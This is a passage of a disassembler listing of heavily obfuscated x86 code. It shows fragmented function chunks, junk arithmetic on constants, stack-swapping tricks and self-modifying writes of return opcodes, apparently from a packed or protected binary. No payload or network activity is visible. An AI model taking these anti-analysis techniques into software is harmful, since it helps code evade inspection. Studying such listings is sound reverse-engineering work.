; CODE XREF: sub_43AD64-134j jmp loc_43886A ; END OF FUNCTION CHUNK FOR sub_43AD64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DF1F loc_438245: ; CODE XREF: sub_43DF1F+Ej and ecx, 0CD68DAF8h rol ecx, 0Ch xor ecx, 6230F253h add ecx, 91A978DEh xchg ecx, [esp+0] jmp loc_43D9FE ; END OF FUNCTION CHUNK FOR sub_43DF1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D063 loc_438262: ; CODE XREF: sub_44D063:loc_44016Dj pop eax add eax, 7702642Bh rol eax, 14h and eax, 79947E35h xor eax, 0D73C5286h push ebx push 0CA53840Fh pop ebx jmp loc_43F1CE ; END OF FUNCTION CHUNK FOR sub_44D063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_438284: ; CODE XREF: sub_43D20E:loc_439806j add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] loc_438290: ; CODE XREF: y22d6.y.:loc_44607Cj jmp loc_447165 ; --------------------------------------------------------------------------- loc_438295: ; CODE XREF: sub_43D20E:loc_44CBB1j xor eax, eax jmp loc_445DAC ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_43829C: ; CODE XREF: y22d6.y.:0043DD2Fj or edx, edx jnz loc_443BC5 loc_4382A4: ; CODE XREF: y22d6.y.:0044BEB7j jmp loc_438BB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_4382A9: ; CODE XREF: sub_4480DE:loc_4485FFj test al, al jnz loc_445FB4 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E8h jmp loc_4402B4 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_4382BC: ; CODE XREF: sub_448C77:loc_44B4EEj js loc_44AA0E mov [edx], ebp jmp loc_439BAC ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_4382C9: ; CODE XREF: sub_43F422+5BA0j shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax jmp loc_44E32F ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- loc_4382DD: ; CODE XREF: y22d6.y.:loc_441D22j jz loc_44CAA8 jmp loc_44C6DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_4382E8: ; CODE XREF: sub_44A359-A70Cj jl loc_44CC70 loc_4382EE: ; CODE XREF: sub_4437B8+9j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- jg loc_44E31F jmp loc_44CC6E ; =============== S U B R O U T I N E ======================================= sub_4382FE proc near ; CODE XREF: y22d6.y.:0043A3FDp ; y22d6.y.:0044B043j ; FUNCTION CHUNK AT 00444F5F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add edx, 40B70A4Dh mov [edx], eax pop edx lea eax, loc_43FFF9 mov byte ptr [eax], 0C3h jmp loc_444F5F sub_4382FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_438319: ; CODE XREF: sub_4428C2+Dj cmp eax, 0E619BA64h jmp loc_4391C6 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- cmp edi, edx jmp loc_445110 ; =============== S U B R O U T I N E ======================================= sub_43832B proc near ; CODE XREF: y22d6.y.:0043951Cp ; y22d6.y.:004410DBj xchg esi, [esp+0] pop esi lea eax, nullsub_59 call sub_447C9E sub_43832B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_449641 loc_43833A: ; CODE XREF: sub_449641:loc_43F294j or edx, 609352ADh add edx, 0AC69ED3Bh add edx, ebp add edx, 0D3C24004h call sub_44BAC8 ; END OF FUNCTION CHUNK FOR sub_449641 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_438353: ; CODE XREF: sub_4432B8:loc_4426BAj xchg ecx, [esp+4+var_4] jmp loc_4429E6 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- push ecx push 8E559562h pop ecx and ecx, 2488B9EBh sub ecx, 6FA04F9Ch add ecx, 6BE19EEEh jmp loc_44B27A ; --------------------------------------------------------------------------- loc_438379: ; CODE XREF: y22d6.y.:0043BE3Aj jnb sub_445629 ; =============== S U B R O U T I N E ======================================= sub_43837F proc near ; CODE XREF: sub_43837F+4C9Cp ; FUNCTION CHUNK AT 00438F50 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043A441 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AB45 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043AC7E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B2F8 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0043C41B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D011 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043D4E7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043E974 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440105 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00443C6B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445569 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00447302 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044A510 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044AEEB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044BD75 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_440105 mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_43AB5A sub_43837F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_438399 proc near ; CODE XREF: sub_449956-B35Bp ; y22d6.y.:00446487j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00439315 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0044D0D1 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 0B7E714BFh pop eax xor eax, 2E125C89h jmp loc_44D0D1 sub_438399 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb eax, edi jmp loc_4472B5 ; --------------------------------------------------------------------------- loc_4383B5: ; CODE XREF: y22d6.y.:0043AADAj jz loc_4437C6 jmp loc_44BF67 ; --------------------------------------------------------------------------- jmp ds:off_41E170 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4383C6: ; CODE XREF: sub_448EB6+271j jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4383CB: ; CODE XREF: sub_4432B8-1DA5j jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_4383D0: ; CODE XREF: sub_44271A-560Ej jmp loc_445C46 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_4383D5: ; CODE XREF: sub_43EC01:loc_43A395j ; y22d6.y.:00444DF0j ... xchg eax, [esp+0] mov edx, eax loc_4383DA: ; CODE XREF: y22d6.y.:loc_43A5E5j pop eax jmp loc_437A0A ; END OF FUNCTION CHUNK FOR sub_43EC01 ; =============== S U B R O U T I N E ======================================= sub_4383E0 proc near ; CODE XREF: sub_448EB6:loc_44424Aj ; sub_447940-3632p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043C4E3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043D189 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043D835 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F1C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443F10 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004453DB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00445B08 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00445EB1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00445ED3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044747B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00447739 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00448B0E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044B64E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044B970 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E1F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E5C2 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi pop edx pushf push 9481EF16h loc_4383EB: ; CODE XREF: y22d6.y.:0044569Fj pop eax add eax, 84ADC96h jnz loc_44747B loc_4383F8: ; CODE XREF: sub_43A148+90A0j jz loc_443F10 cmp ecx, 604E5D78h jmp loc_445ED3 sub_4383E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_438409: ; CODE XREF: y22d6.y.:loc_4494B4j or edx, 5B09796Ch xor edx, 798F6452h sub edx, 592E9C5h test edx, 8000h jmp loc_439208 ; --------------------------------------------------------------------------- loc_438426: ; DATA XREF: y22d6.y.:0044923Ao xchg edx, [esp] jmp loc_44D3AC ; --------------------------------------------------------------------------- xor eax, ebx jmp loc_444540 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_438436: ; CODE XREF: sub_44B17B-2E0Cj jmp loc_44A4D4 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- byte_43843B db 5Ah ; DATA XREF: sub_43DA98o dd 11FF850Fh, 48B0000h, 0EFF5E824h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43844A: ; CODE XREF: y22d6.y.:0043AF27j ; sub_448EB6-A0CBj sub eax, 0C990AEEEh xor eax, 0EDBCD6F7h add edx, eax pop eax mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_43DD1E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_438464: ; CODE XREF: y22d6.y.:loc_43903Bj jz loc_4479AB jmp loc_446110 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4424AC loc_43846F: ; CODE XREF: sub_4424AC:loc_44C2BAj pop edi xor edi, 355B9BD3h test edi, 100000h jmp loc_440315 ; END OF FUNCTION CHUNK FOR sub_4424AC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CC9B loc_438482: ; CODE XREF: sub_44CC9B+1Cj jmp sub_442060 ; END OF FUNCTION CHUNK FOR sub_44CC9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_438487: ; CODE XREF: sub_43923C+33E9j jmp sub_44CDB7 ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441000 loc_43848C: ; CODE XREF: sub_441000-9704j jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_441000 ; --------------------------------------------------------------------------- loc_438491: ; CODE XREF: y22d6.y.:loc_4413ECj lea eax, loc_443878 mov byte ptr [eax], 0C3h jmp loc_443878 ; =============== S U B R O U T I N E ======================================= sub_43849F proc near ; CODE XREF: sub_40300B+B1p ; sub_43849F+5j ; DATA XREF: ... call sub_4384B4 jmp ds:off_41E20C sub_43849F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_4384AA: ; CODE XREF: sub_43EC1C+181Cj jmp loc_44DBE1 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_4384AF: ; CODE XREF: sub_439E63+Aj jmp loc_43A05F ; END OF FUNCTION CHUNK FOR sub_439E63 ; =============== S U B R O U T I N E ======================================= sub_4384B4 proc near ; CODE XREF: sub_43849Fp ; sub_449A8B:loc_445185j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043AAB9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043DADE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E94E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F1E3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00445431 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044A0F2 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0044C393 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D3EF SIZE 00000005 BYTES jno loc_44A109 pop edx mov eax, [esp-4+arg_0] jmp loc_43DADE sub_4384B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404E5 loc_4384C3: ; CODE XREF: sub_4404E5:loc_4486CBj add eax, 4 mov edx, [eax] mov al, 1 call edx call sub_446082 loc_4384D1: ; CODE XREF: sub_43B921+Cj jmp loc_43D9A1 ; END OF FUNCTION CHUNK FOR sub_4404E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_4384D6: ; CODE XREF: sub_43F750-524Ej jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- loc_4384DB: ; DATA XREF: sub_4464C8-EA95o xchg ebx, [esp] push edi push 9FB4D7C1h pop edi or edi, 0DA14F4FBh and edi, 0D8D7D821h add edi, 27AEE33Ah jmp loc_445ABF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4384FD: ; CODE XREF: y22d6.y.:loc_44BAB3j ; y22d6.y.:0044D970j jz loc_438D00 jmp loc_443AE0 ; --------------------------------------------------------------------------- xchg edx, esi jge loc_44BC98 jmp sub_43AD3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447CBE loc_438515: ; CODE XREF: sub_447CBE:loc_44B301j call sub_44B17B test al, al jz loc_443106 jmp loc_446DE2 ; END OF FUNCTION CHUNK FOR sub_447CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_438527: ; CODE XREF: sub_44B674-D458j sub ebp, edx jmp loc_444ECB ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- loc_43852E: ; CODE XREF: y22d6.y.:00439001j mov ebx, edi sbb esi, ebx mov eax, 5958F365h loc_438537: ; CODE XREF: y22d6.y.:loc_438FEBj add esi, 1CB72B29h mov [esi], eax pop esi jmp loc_445E3C ; --------------------------------------------------------------------------- popf jge loc_43CED3 jmp sub_44C622 ; --------------------------------------------------------------------------- loc_438551: ; CODE XREF: y22d6.y.:0044B536j jo loc_44C63A mov eax, [esp] push edx push esi push 0A4D332C9h pop esi add esi, 99B77312h jmp loc_44C80D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44563C loc_43856D: ; CODE XREF: sub_44563C+Bj push offset loc_44C1B8 jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_44563C ; --------------------------------------------------------------------------- loc_438577: ; CODE XREF: y22d6.y.:loc_447CE5j ; y22d6.y.:00447CFCj add edi, 0AF6AC9F3h mov [edi], eax pop edi push offset sub_43B167 jmp locret_44648C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_43858A: ; CODE XREF: sub_43E185+F8F0j call sub_44B011 loc_43858F: ; CODE XREF: sub_43FC1E+8DEj jmp loc_44E4B8 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- loc_438594: ; DATA XREF: sub_44D83F+6o xchg ecx, [esp] mov edx, ecx xchg esi, [esp] mov ecx, esi pop esi mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_44057E loc_4385A2: ; CODE XREF: sub_44057E:loc_43F713j jmp loc_443340 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_4385A7: ; CODE XREF: sub_43872E:loc_44182Fj call sub_444581 call sub_43A8B0 loc_4385B1: ; CODE XREF: sub_44B674-11B20j jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_4385B6: ; CODE XREF: sub_43C3DD:loc_443BB7j ; y22d6.y.:00444BC8j jl loc_443FEB loc_4385BC: ; CODE XREF: sub_44DB3E-8E97j jmp loc_43AEB9 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_4385C1: ; CODE XREF: sub_44633F-BCD7j jmp loc_4417C2 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_4385C6: ; CODE XREF: sub_439C96+Cj jmp loc_43956A ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- xor edi, 0C1B4064Bh jnp loc_437059 sbb ebx, eax jmp loc_44639E ; --------------------------------------------------------------------------- loc_4385DE: ; DATA XREF: sub_448EB6-BD93o xchg edi, [esp] push offset sub_438ACB jmp locret_438A4A ; --------------------------------------------------------------------------- loc_4385EB: ; CODE XREF: y22d6.y.:00446250j or ebp, ebx ; =============== S U B R O U T I N E ======================================= sub_4385ED proc near ; CODE XREF: sub_4385ED+12981p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0043A354 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CFE1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E8F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004400B9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004408E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440E64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441522 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441925 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044245F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00442A6C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004442C1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044566E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00449C8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AF66 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044BA37 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044C149 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044DA43 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax call sub_43AB31 cmp eax, [ebp-8] jmp loc_44245F sub_4385ED endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 75454DD9h pop eax and eax, 0EDB46FCBh add eax, 3C1AF791h push offset loc_441A71 jmp locret_44C6FD ; --------------------------------------------------------------------------- loc_43861A: ; CODE XREF: y22d6.y.:00447EA4j test eax, ebx jmp loc_43F310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438621: ; CODE XREF: sub_448EB6+1C23j adc ebx, 2F77EF08h xor esi, edi loc_438629: ; CODE XREF: sub_448EB6:loc_44491Dj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_43711C ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- shl edi, 12h jmp sub_437901 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43863C: ; CODE XREF: sub_438B66:loc_43E642j ; sub_4432B8+26Ej push offset loc_44B53B jmp loc_44C788 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_438646: ; CODE XREF: y22d6.y.:00447C01j and edi, edx ; START OF FUNCTION CHUNK FOR sub_43B98D loc_438648: ; CODE XREF: sub_43B98D:loc_447BF5j add ecx, 26989248h call sub_447527 ; END OF FUNCTION CHUNK FOR sub_43B98D ; START OF FUNCTION CHUNK FOR sub_44271A loc_438653: ; CODE XREF: sub_44271A-69FBj jmp loc_43C3A7 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446082 loc_438658: ; CODE XREF: sub_446082:loc_4372E9j mov [ebp-4], eax mov eax, [ebp-4] pop ecx call sub_43D796 loc_438664: ; CODE XREF: sub_448EB6+4896j jmp loc_43D71C ; END OF FUNCTION CHUNK FOR sub_446082 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_438669: ; CODE XREF: sub_444F37+13j jmp loc_4445E6 ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44734D loc_43866E: ; CODE XREF: sub_44734D-C4B7j jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_44734D ; --------------------------------------------------------------------------- test edi, esi jmp loc_443AE7 ; --------------------------------------------------------------------------- loc_43867A: ; CODE XREF: y22d6.y.:0044C081j cdq jg nullsub_209 ; START OF FUNCTION CHUNK FOR sub_44364E loc_438681: ; CODE XREF: sub_44364E:loc_44C069j xor edx, 4B150D6Eh add edx, 0B72A812Fh xchg edx, [esp+0] jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_44364E ; --------------------------------------------------------------------------- pop edx xchg ecx, [esp] mov eax, ecx jmp loc_43803B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F7FF loc_4386A0: ; CODE XREF: sub_43F7FF+6j mov edx, ds:dword_439198 or edx, edx jnz loc_439185 jmp loc_448F38 ; END OF FUNCTION CHUNK FOR sub_43F7FF ; --------------------------------------------------------------------------- or ecx, 0EDE006E0h jmp sub_444131 ; --------------------------------------------------------------------------- loc_4386BE: ; DATA XREF: sub_4475B3+3956o mov ds:off_41E21C, eax lea eax, sub_4475B3 mov byte ptr [eax], 0C3h jmp loc_438729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_4386D2: ; CODE XREF: sub_4475B3j xchg esi, [esp+0] mov edx, esi pop esi jmp loc_448CF9 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441C04 loc_4386DD: ; CODE XREF: sub_441C04:loc_437A7Dj push offset loc_44DA35 jmp loc_4435ED ; END OF FUNCTION CHUNK FOR sub_441C04 ; --------------------------------------------------------------------------- db 0Fh dd 645A8Ah, 87C73300h, 875B241Ch, 1E92414h, 0BE000105h dd 116061F5h, 17AE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_438706: ; CODE XREF: sub_43C7C1-388Cj jnb loc_43AB3D loc_43870C: ; CODE XREF: sub_43C7C1:loc_43A507j mov eax, [esp-4+arg_0] push eax call sub_44C171 call sub_439C96 loc_43871A: ; CODE XREF: y22d6.y.:0043F37Bj jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442770 loc_43871F: ; CODE XREF: sub_442770+19j call sub_43E185 loc_438724: ; CODE XREF: sub_448EB6-ABCBj jmp loc_44DCD5 ; END OF FUNCTION CHUNK FOR sub_442770 ; --------------------------------------------------------------------------- loc_438729: ; CODE XREF: y22d6.y.:004386CDj ; y22d6.y.:loc_443214j jmp sub_4475B3 ; =============== S U B R O U T I N E ======================================= sub_43872E proc near ; CODE XREF: y22d6.y.:00448199j ; sub_44C2B0p ; FUNCTION CHUNK AT 004371EE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004376B2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004385A7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00439DCF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043A47E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043A6DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A8C8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043ECC9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044182F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443878 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00443A57 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push eax push 0A396CE96h pop eax jmp loc_43ECC9 sub_43872E endp ; sp-analysis failed ; --------------------------------------------------------------------------- rol ecx, 1Ch adc eax, esi jmp sub_4445FD ; --------------------------------------------------------------------------- loc_438748: ; DATA XREF: sub_448EB6-F68Fo push edi mov edi, eax xchg edi, [esp] mov eax, edx nop mov eax, [esp] call sub_4480DE retn ; --------------------------------------------------------------------------- loc_43875A: ; CODE XREF: y22d6.y.:00437D77j jmp locret_438030 ; --------------------------------------------------------------------------- adc edi, 0E27E0DE0h jmp sub_4449C0 ; --------------------------------------------------------------------------- loc_43876A: ; DATA XREF: sub_443906+5o push eax mov eax, ecx xchg eax, [esp] push ecx push 970D0E0Ch jmp loc_44473B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_43877B: ; CODE XREF: sub_43E7BF+Dj add edx, 0CCCE1A20h xchg edx, [esp+4+var_4] jmp loc_447E4C ; END OF FUNCTION CHUNK FOR sub_43E7BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_43878A proc near ; CODE XREF: y22d6.y.:0043EDAEj ; sub_44E33C-47B0p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xor eax, esi xchg ebp, [esp-4+arg_0] mov esi, ebp call sub_44CEAD loc_43879A: ; CODE XREF: sub_449641-6B6Cj jmp loc_448F5A sub_43878A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_43879F: ; CODE XREF: sub_444581-1E23j jmp loc_438EE4 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- loc_4387A4: ; CODE XREF: y22d6.y.:0044D52Fj and edi, 56BC1401h sub edi, ds:4000E7h and edi, 0E7637DFBh rol edi, 12h jb loc_437B74 push edx mov ecx, [eax] jmp loc_43E11D ; --------------------------------------------------------------------------- locret_4387C7: ; CODE XREF: y22d6.y.:0043F864j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4387C8: ; CODE XREF: sub_448EB6-F1C6j ja loc_43B99B and ecx, ebp loc_4387D0: ; CODE XREF: sub_448EB6:loc_43BB87j add edx, 0D7179F0h xor edx, 3F8BFA10h add edx, 3CCE5726h xchg edx, [esp-4+arg_0] jmp loc_442502 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_4387EA proc near ; DATA XREF: y22d6.y.:0043C0E0o ; FUNCTION CHUNK AT 004398DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441162 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447B12 SIZE 00000008 BYTES push ecx mov esp, ebp pop ebp mov eax, ds:dword_44198C or eax, eax jnz loc_447B12 jmp loc_4398DD sub_4387EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B267 loc_438801: ; CODE XREF: sub_44B267:loc_44B270j mov ebx, ecx loc_438803: ; CODE XREF: sub_4432B8:loc_44359Dj call sub_43AEAA loc_438808: ; CODE XREF: sub_445A71+5j jmp loc_44BC98 ; END OF FUNCTION CHUNK FOR sub_44B267 ; --------------------------------------------------------------------------- loc_43880D: ; CODE XREF: y22d6.y.:00441ADCj jmp locret_444A6D ; --------------------------------------------------------------------------- mov ecx, [ebx] cmp ebx, 0C19981FEh jmp loc_442DB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_43881F: ; CODE XREF: sub_443778:loc_43CD16j ; y22d6.y.:004486EFj xchg ebp, [esp+4+var_4] push 52EE387Ah pop esi sub esi, 2C4B2762h jmp loc_449942 ; END OF FUNCTION CHUNK FOR sub_443778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_438833: ; CODE XREF: sub_44B489-9D3j add eax, edx pop edx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44B067 jmp loc_442763 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_438846: ; CODE XREF: sub_44BCC2:loc_44D422j jb loc_441E44 pushf rol ebp, 1 cmp ebp, edx jmp loc_44966C ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_438856: ; CODE XREF: y22d6.y.:004420FBj js loc_44ACBA pushf mov [ebx], esi xor eax, 0DA5E0669h jmp loc_44A91A ; --------------------------------------------------------------------------- ; START OF 